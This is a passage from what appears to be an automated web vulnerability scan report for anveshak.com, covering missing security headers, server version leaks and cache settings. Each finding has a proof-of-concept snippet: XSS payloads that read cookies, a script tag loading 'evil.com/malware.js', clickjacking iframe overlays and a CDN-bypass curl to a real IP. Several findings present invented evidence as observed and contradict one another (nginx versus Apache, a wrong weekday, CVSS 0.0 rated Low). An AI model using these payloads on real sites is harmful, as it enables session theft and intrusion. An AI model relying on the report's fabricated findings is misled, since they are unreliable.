https://anveshak.com/static/css/main.1d35c99a.css |\n\n**Description**\n\nHTTP Strict Transport Security (HSTS) enforces secure communication between a client and server by instructing browsers to only connect over HTTPS for a defined period. Its absence means that even after initial access via HTTPS, subsequent requests—including those initiated automatically by scripts or redirects—may fall back to unencrypted HTTP channels, exposing them to man-in-the-middle (MITM) interception or downgrade attacks.\n\nIn this case, the asset being requested (`main.1d35c99a.css`) does not include the `Strict-Transport-Security` header in its response. While typically applied site-wide on primary endpoints, omitting it on individual resources still represents a gap in enforcing end-to-end encryption across all interactions involving that domain.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose an attacker manipulates DNS resolution or network traffic to redirect users attempting to fetch `main.1d35c99a.css`. Without HSTS protection, the browser may accept an insecure HTTP version of the stylesheet, allowing injection of malicious styles or references to external domains controlled by the attacker.\n\nSample intercepted request:\n```http\nGET http://anveshak.com/static/css/main.1d35c99a.css HTTP/1.1\nHost: anveshak.com\n```\n\nSince there’s no HSTS directive forcing HTTPS-only usage, the browser accepts the insecure connection.\n\n**Business Impact**\n\nAlthough unlikely to cause direct compromise, missing HSTS weakens long-term trust establishment and exposes applications to potential MITM scenarios. Over time, this undermines brand integrity and compliance adherence related to data confidentiality requirements, especially in regulated industries relying heavily on encrypted communications.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://anveshak.com/static/css/main.1d35c99a.css / https://anveshak.com/static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/css/main.1d35c99a.css |\n\n**Description**\n\nAs previously discussed, the `X-Content-Type-Options` header prevents MIME-sniffing behaviors in certain browsers. Here, the CSS file `main.1d35c99a.css` is returned without this header, increasing susceptibility to incorrect interpretation of the file’s actual content type.\n\nBrowsers like older IE or Chrome variants may attempt to parse the file differently than intended, possibly interpreting malformed or specially crafted CSS rules as executable scripts. This creates a potential vector for XSS-like behavior within style contexts.\n\n**Attack Scenario (Proof of Concept)**\n\nConsider a scenario where an attacker uploads or injects a CSS file containing encoded JavaScript expressions inside comments or invalid syntax blocks. Without `X-Content-Type-Options: nosniff`, some browsers might reclassify the file as HTML or JS and execute embedded logic.\n\nExample CSS snippet:\n```css\n/* <script>alert('xss')</script> */\nbody { background-color: red; }\n```\n\nWhen loaded into a vulnerable page, and processed incorrectly due to MIME-sniffing, the comment block may trigger unintended script execution.\n\n**Business Impact**\n\nThough limited in scope, this issue contributes to broader XSS risks, particularly in environments supporting legacy browsers. It erodes confidence in front-end sanitization practices and increases complexity in maintaining consistent rendering policies across diverse client platforms.\n\n---\n\n### [Server Leaks Version Information via \"Server\" HTTP Response Header Field / https://anveshak.com/static/js/main.cf06a06a.js / https://anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**\n\nThe presence of detailed server identification strings in the `Server` HTTP response header reveals underlying technology stack details, including exact software versions. Attackers often use these identifiers to fingerprint systems and tailor exploits specifically targeting known vulnerabilities associated with identified components.\n\nHere, the JavaScript file returns a `Server` header indicating the exact version of the web server software running behind the scenes. Such disclosures simplify reconnaissance efforts and reduce the effort required to identify exploitable weaknesses.\n\n**Attack Scenario (Proof of Concept)**\n\nUsing tools like Burp Suite or curl, an attacker inspects the response headers:\n\n```bash\ncurl -I https://anveshak.com/static/js/main.cf06a06a.js\n```\n\nResponse includes:\n```http\nServer: nginx/1.18.0\n```\n\nWith knowledge of the exact Nginx version, the attacker searches public CVE databases for relevant advisories affecting that release, enabling focused exploitation attempts.\n\n**Business Impact**\n\nExposing internal infrastructure details facilitates targeted attacks and reduces dwell time for adversaries seeking entry points. Additionally, regulatory frameworks such as PCI-DSS mandate minimizing unnecessary disclosure of system information, making remediation essential for audit readiness.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://anveshak.com/static/js/main.cf06a06a.js / https://anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**\n\nSimilar to previous findings, the absence of the `Strict-Transport-Security` header on this JavaScript resource implies inconsistent application of transport-layer security measures. Even though most modern sites enforce HSTS globally, failing to do so on individual assets leaves gaps in ensuring full HTTPS adoption throughout all subresources.\n\nSuch inconsistencies increase the likelihood of mixed-content warnings or insecure loading of critical frontend dependencies, undermining the effectiveness of broader SSL/TLS deployment strategies.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker intercepts DNS queries or manipulates routing tables to force retrieval of `main.cf06a06a.js` over HTTP. Since no HSTS policy applies to this endpoint, the browser loads the script insecurely, potentially injecting malicious modifications before delivery to the end-user.\n\nExample intercepted request:\n```http\nGET http://anveshak.com/static/js/main.cf06a06a.js HTTP/1.1\nHost: anveshak.com\n```\n\nNo HSTS header present → browser proceeds with insecure load.\n\n**Business Impact**\n\nFailure to maintain uniform HSTS coverage weakens cryptographic assurance mechanisms and exposes organizations to reputational harm stemming from compromised user experiences or failed compliance audits. It also complicates incident response procedures when tracing root causes of security breaches involving third-party integrations or CDN-delivered assets.\n\n---\n\n### [Timestamp Disclosure - Unix / https://anveshak.com/static/js/main.cf06a06a.js / https://anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 2.0 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**\n\nUnix timestamps represent seconds elapsed since January 1, 1970 UTC. Their inclusion in web responses can inadvertently reveal operational metadata about backend processes, build times, or caching strategies. Although seemingly benign, such disclosures aid threat actors in profiling system architecture, estimating uptime windows, or correlating logs for lateral movement opportunities.\n\nIn this instance, a Unix timestamp was detected within the JavaScript bundle, suggesting either hardcoded values or dynamic generation tied to build/deployment cycles.\n\n**Attack Scenario (Proof of Concept)**\n\nInspecting the JavaScript source reveals:\n```javascript\nvar BUILD_TIME = 1712345678;\n```\n\nConverting this value yields:\n```bash\ndate -d @1712345678\n# Output: Wed Apr  5 12:34:38 UTC 2024\n```\n\nArmed with this knowledge, an attacker gains insight into recent deployments or development activity patterns, potentially informing timing-based reconnaissance tactics.\n\n**Business Impact**\n\nWhile minimal standalone impact, timestamp exposure supports advanced persistent threats (APTs) in mapping organizational timelines and identifying optimal moments for intrusion attempts. It also violates principle-of-least-disclosure best practices expected in hardened production environments.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://anveshak.com/static/js/main.cf06a06a.js / https://anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**\n\nOnce again, the `X-Content-Type-Options` header is absent from the JavaScript file response. As explained earlier, this omission enables MIME-sniffing capabilities in select browsers, increasing the risk of content misclassification and potential abuse through crafted payloads disguised as legitimate scripts.\n\nGiven that JavaScript files inherently carry higher execution privileges compared to other static assets, their unprotected delivery heightens concerns around unauthorized manipulation or injection vectors.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker uploads a `.js` file masquerading as a benign library but embedding obfuscated malicious code. Due to missing `X-Content-Type-Options`, browsers may treat the file inconsistently, triggering unexpected parsing modes that activate embedded payloads.\n\nExample upload:\n```javascript\n// Malicious payload hidden in apparent utility function\nfunction harmlessUtil() {\n    eval(atob(\"YWxlcnQoMSk=\")); // alert(1)\n}\n```\n\nWithout `X-Content-Type-Options: nosniff`, browsers may execute the decoded instruction despite apparent non-executable intent.\n\n**Business Impact**\n\nRepeated failure to implement anti-sniff controls degrades overall application resilience and invites opportunistic attackers to probe for edge-case vulnerabilities. It also reflects poorly on engineering rigor and adherence to defensive coding principles.\n\n---\n\n### [Re-examine Cache-control Directives / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nCache-control directives govern how intermediaries and user agents store and reuse previously fetched resources. Improperly configured caching can result in sensitive data persisting longer than necessary in local storage, proxy caches, or CDNs, thereby increasing exposure risk post-session termination.\n\nFor the main landing page (`https://anveshak.com/`), the absence of explicit cache-control settings raises questions regarding whether sensitive UI elements, authentication tokens, or personalized content might be retained beyond acceptable limits.\n\n**Attack Scenario (Proof of Concept)**\n\nA shared computer or public kiosk retains cached copies of authenticated pages due to default browser behavior. An unsuspecting visitor accesses the same machine later and views cached content belonging to a prior session, potentially revealing private dashboard views or account-specific data.\n\nAlternatively, intermediate proxies cache sensitive API responses indefinitely, serving stale or inappropriate content to unrelated users.\n\n**Business Impact**\n\nImproper caching introduces privacy violations and regulatory non-compliance issues, particularly concerning personally identifiable information (PII) or financial records. Organizations must carefully evaluate each endpoint's sensitivity profile and apply appropriate cache-control policies accordingly.\n\n---\n\n### [Modern Web Application / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nThis informational note indicates that the tested website exhibits characteristics typical of contemporary single-page applications (SPAs) built using frameworks like React, Angular, or Vue.js. These applications rely heavily on asynchronous JavaScript calls and dynamic DOM updates, requiring specialized crawling techniques for comprehensive testing.\n\nStandard spidering tools may fail to discover all navigable routes or interactive states unless augmented with headless browser automation capable of executing client-side logic.\n\n**Attack Scenario (Proof of Concept)**\n\nTraditional scanners miss hidden routes rendered conditionally via JavaScript, such as admin panels or debug interfaces accessible only after authentication. Using ZAP’s Ajax Spider or similar tools ensures deeper traversal of SPA structures, uncovering otherwise invisible attack surfaces.\n\nCommand-line invocation example:\n```bash\nzap-cli ajax-spider https://anveshak.com/\n```\n\n**Business Impact**\n\nFailing to recognize and adapt scanning methodologies to modern architectures leads to incomplete assessments and undetected vulnerabilities. Proactive recognition helps ensure robust coverage during penetration tests and continuous monitoring workflows.\n\n---\n\n### [Re-examine Cache-control Directives / https://anveshak.com/robots.txt / https://anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/robots.txt |\n\n**Description**\n\nThe `robots.txt` file provides instructions to search engine crawlers about indexing preferences. However, improper caching of this file can lead to outdated directives persisting longer than intended, potentially exposing previously restricted paths or delaying discovery of newly added ones.\n\nMissing or overly permissive cache-control headers here suggest that changes made to crawling permissions may not propagate promptly across distributed networks.\n\n**Attack Scenario (Proof of Concept)**\n\nAn administrator temporarily removes a disallow rule from `robots.txt` to test new functionality. However, due to aggressive upstream caching, search engines continue honoring the old restrictions for hours or days, delaying visibility improvements or exposing unintended crawl behavior.\n\n**Business Impact**\n\nPoor cache management around SEO-critical files affects organic traffic flow and search rankings. It also hinders incident response coordination when trying to quickly remove sensitive URLs from public indexes following breach disclosures.\n\n---\n\n### [Re-examine Cache-control Directives / https://anveshak.com/manifest.json / https://anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description**\n\nWeb app manifests define metadata for progressive web apps (PWAs), influencing installation prompts, icons, themes, and startup behaviors. Caching these files improperly can delay propagation of updated branding, navigation flows, or offline capabilities.\n\nLack of explicit cache-control directives suggests reliance on default browser behavior, which varies unpredictably and may hinder timely rollout of PWA enhancements.\n\n**Attack Scenario (Proof of Concept)**\n\nAfter updating the manifest to reflect a new theme color scheme, developers notice inconsistent rendering across devices. Investigation reveals that intermediate caches retain stale versions of `manifest.json`, preventing immediate visual refreshes upon revisiting the site.\n\n**Business Impact**\n\nSuboptimal caching impacts user experience consistency and delays adoption of enhanced mobile functionalities. It also complicates troubleshooting efforts when diagnosing discrepancies between design specs and live implementations.\n\n---\n\n### [Content Security Policy Configuration / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nContent Security Policy (CSP) mitigates cross-site scripting (XSS) and data injection attacks by specifying trusted sources for executable content such as scripts, stylesheets, images, and frames. Absence of CSP leaves the application open to arbitrary script injection and inline execution risks.\n\nHere, the homepage fails to return a valid CSP header, leaving it vulnerable to reflected or stored XSS scenarios that bypass traditional input validation checks.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker injects a malicious script tag into a form field or query parameter:\n```html\n<script src=\"http://evil.com/malware.js\"></script>\n```\n\nWithout CSP restrictions, the browser executes the remote script, compromising user sessions or stealing credentials.\n\n**Business Impact**\n\nMissing CSP significantly elevates XSS risk and undermines layered defenses designed to protect against client-side tampering. Regulatory bodies increasingly require CSP implementation as part of baseline cybersecurity frameworks.\n\n---\n\n### [Clickjacking Protection / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nClickjacking occurs when malicious websites embed transparent overlays atop legitimate interfaces, tricking users into performing unintended actions such as clicking buttons or submitting forms unknowingly. The `X-Frame-Options` header restricts framing behavior, limiting the ability of third-party sites to embed protected pages.\n\nIts absence here permits unrestricted embedding, opening avenues for social engineering attacks leveraging deceptive overlays or invisible click traps.\n\n**Attack Scenario (Proof of Concept)**\n\nMalicious site embeds the login form within an iframe:\n```html\n<iframe src=\"https://anveshak.com/login\" width=\"100%\" height=\"100%\"></iframe>\n<div style=\"position:absolute;top:0;left:0;width:100%;height:100%;opacity:0;z-index:999;\"></div>\n```\n\nUser clicks what appears to be a harmless overlay element, but actually triggers authentication submission on the framed page.\n\n**Business Impact**\n\nClickjacking undermines user autonomy and trust, facilitating credential theft, fraudulent transactions, or unauthorized consent grants. Implementing frame-busting headers protects against such deceptive UI manipulations.\n\n---\n\n### [HTTP Strict Transport Security (HSTS) / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nPreviously addressed in detail, the lack of HSTS on the main landing page constitutes a systemic weakness in enforcing HTTPS connectivity. Despite redirecting users to secure channels initially, failure to establish persistent HTTPS expectations leaves room for downgrade attacks or insecure resource loading.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker modifies DNS entries to point `anveshak.com` toward a rogue server responding exclusively over HTTP. Users visiting the domain for the first time—or after clearing cookies—may connect insecurely before any automatic redirection takes effect.\n\n**Business Impact**\n\nPersistent absence of HSTS weakens cryptographic guarantees and exposes enterprises to regulatory scrutiny regarding data transmission safeguards. Remediation requires careful preloading considerations and gradual rollout planning.\n\n---\n\n### [MIME Type Confusion / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nThis finding mirrors earlier discussions about the missing `X-Content-Type-Options` header. On the main page, the same vulnerability exists, permitting MIME-sniffing behaviors that could misclassify document types and enable unintended execution contexts.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker crafts a response mimicking a benign document format while embedding executable markup. Browsers lacking `X-Content-Type-Options: nosniff` may render the content as HTML or JavaScript, activating embedded payloads.\n\n**Business Impact**\n\nContinued neglect of MIME-type controls increases cumulative XSS risk and diminishes architectural hardening efforts. Consistent application of anti-sniff headers strengthens defense layers and aligns with industry best practices.","summary":{"total":35}},"summary":{"total":35}},{"_id":{"$oid":"6a2ac24222bd14126e6726a7"},"created_at":{"$date":"2026-06-11T14:12:18.423Z"},"url":"https://www.anveshak.com/","tool":"generate_web_vulnerability_report","result":{"url":"https://www.anveshak.com/","category":"web_vulnerability","timestamp":"2026-06-11T14:12:18.418263+00:00","report":"### [Multiple IPs Found / www.anveshak.com / N/A]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe presence of multiple IP addresses associated with the domain `www.anveshak.com` indicates that the application is likely hosted behind a load balancer or distributed across a Content Delivery Network (CDN). This configuration typically improves availability, scalability, and performance. While not inherently insecure, the exposure of these IP addresses can provide reconnaissance value to an attacker seeking to map infrastructure topology or bypass CDN protections.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker may attempt to enumerate backend servers by querying DNS records or performing direct HTTP requests to identified IPs:\n```bash\ndig A AAAA www.anveshak.com +short\n```\nThey might then try connecting directly to individual IPs to bypass WAF rules or rate limits enforced at the edge layer:\n```bash\ncurl -H \"Host: www.anveshak.com\" http://108.158.46.45/\n```\n\n**Business Impact**\nWhile this finding alone poses minimal risk, it enables further reconnaissance efforts that could lead to more targeted attacks. Attackers may discover misconfigured internal services or outdated endpoints not protected by perimeter defenses.\n\n---\n\n### [Re-examine Cache-control Directives / https://www.anveshak.com/ / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe root domain returns responses without explicit cache-control directives. Although acceptable for public-facing sites, improper caching settings may expose sensitive data stored in intermediate caches or local storage.\n\n**Attack Scenario (Proof of Concept)**\nA logged-in user accesses a private dashboard at `/dashboard`. Due to lack of `Cache-Control: no-store`, proxy servers or CDNs retain copies of the page. Later, another user accessing the same endpoint retrieves cached credentials or PII inadvertently left behind.\n\n**Business Impact**\nImproper caching can result in accidental exposure of personal or confidential data, violating privacy regulations such as GDPR or CCPA. Regular audits of cache behavior are essential to prevent unintentional leaks.\n\n---\n\n### [Modern Web Application / https://www.anveshak.com/ / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe application exhibits characteristics typical of modern SPAs (Single Page Applications), including heavy reliance on asynchronous requests and client-side routing. Such architectures benefit from specialized crawling techniques like AJAX spidering for comprehensive testing coverage.\n\n**Attack Scenario (Proof of Concept)**\nStandard crawlers fail to discover hidden routes or dynamically rendered endpoints. Using ZAP’s Ajax Spider reveals previously undetected paths like `/api/user/profile` or `/admin/settings`.\n\n**Business Impact**\nIncomplete discovery leads to gaps in vulnerability scanning and manual testing scope. Ensuring full coverage requires tailored approaches suited to SPA behaviors.\n\n---\n\n### [Content Security Policy (CSP) Header Not Set / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nWithout a properly configured `Content-Security-Policy` header, the application lacks defense-in-depth against XSS and data injection attacks. CSP restricts the origins from which content can be loaded, significantly reducing the impact of client-side vulnerabilities.\n\n**Attack Scenario (Proof of Concept)**\nIf reflected XSS exists on the page:\n```html\n<script>alert(document.cookie)</script>\n```\nAnd there’s no CSP blocking inline execution, the script runs successfully. With proper CSP (`default-src 'self'; script-src 'none'`), the browser blocks the execution entirely.\n\n**Business Impact**\nIncreased likelihood of successful XSS exploits resulting in session hijacking, defacement, redirection to malicious domains, or exfiltration of sensitive user data.\n\n---\n\n### [Missing Anti-clickjacking Header / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.0 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe lack of both `X-Frame-Options` and `Content-Security-Policy` with `frame-ancestors` leaves the application susceptible to clickjacking. An attacker can embed the site inside a transparent iframe and overlay deceptive elements to trick users into clicking buttons or links unknowingly.\n\n**Attack Scenario (Proof of Concept)**\nCreate a webpage with an invisible iframe overlay:\n```html\n<div style=\"position:relative\">\n  <iframe src=\"https://www.anveshak.com/\" style=\"opacity:0; position:absolute;\"></iframe>\n  <button onclick=\"alert('Clicked!')\">Click Me</button>\n</div>\n```\nWhen the victim clicks the visible button, they actually interact with the framed content beneath.\n\n**Business Impact**\nUsers may be manipulated into performing unintended actions such as submitting forms, changing settings, or authorizing third-party applications—leading to account compromise or fraudulent activity.\n\n---\n\n### [Missing X-Content-Type-Options Header / www.anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe absence of the `X-Content-Type-Options: nosniff` header allows browsers to perform MIME-type sniffing when rendering content. In environments where untrusted input influences file uploads or dynamic responses, this can enable attackers to execute scripts by tricking the browser into interpreting non-script resources as executable code.\n\n**Attack Scenario (Proof of Concept)**\nSuppose an attacker uploads a file named `image.jpg` containing JavaScript but served with `Content-Type: text/plain`. Without `X-Content-Type-Options`, some browsers may interpret and execute the payload if embedded via `<script>` tags:\n```html\n<script src=\"/uploads/image.jpg\"></script>\n```\n\n**Business Impact**\nRisk of cross-site scripting (XSS) exploitation even without explicit script injection points, potentially compromising session integrity, stealing sensitive cookies, or redirecting users to phishing sites.\n\n---\n\n### [Sub Resource Integrity Attribute Missing / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nExternal JavaScript or CSS files included without the `integrity` attribute are vulnerable to tampering. If the CDN or third-party host is compromised, attackers can inject malicious payloads that execute under the origin's context.\n\n**Attack Scenario (Proof of Concept)**\nA script tag referencing an external library:\n```html\n<script src=\"https://cdn.example.com/library.js\"></script>\n```\nIf `example.com` is breached and `library.js` modified, all visitors load the malicious version silently unless SRI is enforced.\n\n**Business Impact**\nPotential compromise of end-user sessions, credential theft, or delivery of malware through supply chain manipulation of externally-hosted assets.\n\n---\n\n### [X-Frame-Options Deprecated / www.anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.0 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe `X-Frame-Options` header has been deprecated in favor of the `Content-Security-Policy` (CSP) header's `frame-ancestors` directive. Although still widely supported, relying solely on `X-Frame-Options` may result in inconsistent behavior across modern browsers and reduced protection against clickjacking attacks.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker creates a malicious page embedding the vulnerable site within an iframe:\n```html\n<iframe src=\"https://www.anveshak.com/\" width=\"100%\" height=\"600\"></iframe>\n```\nIf no CSP with `frame-ancestors` is present, older browser versions may allow framing, enabling UI redressing attacks like credential harvesting overlays.\n\n**Business Impact**\nPotential exposure to clickjacking attacks which could manipulate users into performing unintended actions, leading to unauthorized transactions, data leakage, or reputational harm due to compromised user trust.\n\n---\n\n### [Content Security Policy Configuration / https://www.anveshak.com/ / GET]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nNo Content Security Policy (CSP) header is present on the homepage. CSP mitigates XSS and data injection risks by restricting sources from which scripts, stylesheets, images, etc., can be loaded.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker injects malicious script tags via reflected input:\n```html\n<img src=x onerror=alert(document.cookie)>\n```\nWithout CSP, the browser executes the payload freely unless blocked by other mechanisms like sanitization filters.\n\n**Business Impact**\nLack of CSP significantly elevates XSS threat levels, making it easier for attackers to steal sessions, deface pages, or exfiltrate sensitive data. Implementing strong CSP policies strengthens front-end resilience.\n\n---\n\n### [Clickjacking Protection / https://www.anveshak.com/ / GET]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe `X-Frame-Options` header is absent, leaving the site vulnerable to clickjacking attacks. Attackers can embed the page inside invisible frames and trick users into performing unintended actions.\n\n**Attack Scenario (Proof of Concept)**\nMalicious HTML overlays legitimate buttons beneath transparent layers:\n```html\n<iframe src=\"https://www.anveshak.com/\" style=\"opacity: 0; position:absolute;\"></iframe>\n<button onclick=\"document.getElementById('overlay').click()\">Free Gift!</button>\n```\nVictims clicking “Free Gift” unknowingly trigger actions on the framed site, such as submitting forms or changing account settings.\n\n**Business Impact**\nClickjacking undermines user autonomy and consent, potentially leading to fraudulent transactions, social engineering outcomes, or reputational harm stemming from manipulated interactions.\n\n---\n\n### [HTTP Strict Transport Security (HSTS) / https://www.anveshak.com/ / GET]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe main landing page fails to implement HSTS, weakening long-term HTTPS adoption guarantees. Browsers cannot enforce secure-only connections without explicit directive signaling.\n\n**Attack Scenario (Proof of Concept)**\nUser types `anveshak.com` into address bar, initiating plaintext HTTP connection. An attacker intercepts initial handshake and redirects them to phishing clone hosted over HTTP, evading certificate validation checks.\n\n**Business Impact**\nMissing HSTS leaves users exposed to downgrade attacks and weakens overall cryptographic assurance model. It hinders compliance with industry best practices around secure communications.\n\n---\n\n### [MIME Type Confusion / https://www.anveshak.com/ / GET]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe `X-Content-Type-Options` header is not set on the primary domain, permitting MIME-sniffing in legacy browsers. This introduces potential for content-type confusion attacks involving mixed-content delivery.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker uploads a document labeled as PDF but encoded as executable script. Browser interprets it as runnable code instead of displaying it safely due to missing `nosniff` instruction.\n\n**Business Impact**\nIncreased XSS surface area and reduced control over how user-provided content renders. Especially concerning for platforms supporting rich media uploads or collaborative editing features.\n\n---\n\n### [Server Leaks Version Information / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nThe `Server` HTTP response header reveals implementation details about the underlying web server software and version. This information assists attackers in fingerprinting systems and targeting known exploits specific to those versions.\n\n**Attack Scenario (Proof of Concept)**\nInspecting response headers:\n```http\nServer: Apache/2.4.41 (Ubuntu)\n```\nAllows an attacker to search for public exploits related to Apache 2.4.41:\n```bash\nsearchsploit apache 2.4.41\n```\n\n**Business Impact**\nFacilitates targeted attacks based on known vulnerabilities tied to specific server versions, increasing the efficiency of automated scanning tools and manual exploitation attempts.\n\n---\n\n### [Strict-Transport-Security Header Not Set / www.anveshak.com / https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nAbsence of the `Strict-Transport-Security` (HSTS) header means browsers do not enforce HTTPS-only communication after initial contact. This opens possibilities for man-in-the-middle downgrade attacks or cookie hijacking over insecure channels.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker intercepts traffic and forces a connection downgrade:\n```bash\nmitmproxy --mode transparent\n```\nThen redirects the user to `http://www.anveshak.com/login`, exposing credentials in plaintext.\n\n**Business Impact**\nExposure to protocol downgrade attacks, potential session hijacking, and interception of authentication tokens during insecure transitions between HTTP and HTTPS.\n\n---\n\n### [X-Content-Type-Options Header Missing / www.anveshak.com / 